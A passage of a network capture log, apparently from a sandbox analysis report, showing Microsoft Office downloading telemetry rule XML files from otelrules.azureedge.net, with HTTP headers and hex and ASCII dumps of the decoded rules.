T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052807Z-17c5cb586f6w4mfs5xcmnrny6n000000061g00000000a60x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052807Z-17c5cb586f69w69mgazyf263an00000003r0000000005gt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c1144745-701e-0098-7f2c-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052807Z-r197bdfb6b42rt68rzg9338g1g00000005p000000000an6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:08 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052808Z-16849878b78j7llf5vkyvvcehs00000005pg0000000095pt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:08 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5ef35a72-501e-007b-6836-285ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052808Z-15b8d89586f2hk28h0h6zye26c00000007500000000002ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ab726c5d-b01e-0098-175a-26cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052808Z-17c5cb586f6zrq5bnguxgu7frc00000005a0000000006vby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:08 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052808Z-16849878b7867ttgfbpnfxt44s00000004g0000000004sz2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:08 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052808Z-16849878b785dznd7xpawq9gcn00000005wg00000000fkru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:09 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:09 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052809Z-16849878b786jv8w2kpaf5zkqs00000003fg000000007p9u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:09 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:09 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052809Z-16849878b78hh85qc40uyr8sc800000004tg00000000fyay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:09 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:09 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4ecf21c8-401e-002a-0558-26c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052809Z-r197bdfb6b4zd9tpkpdngrtchw00000003rg00000000dz01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:09 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:09 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052809Z-15b8d89586fmc8ck21zz2rtg1w00000001v0000000002cbf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" 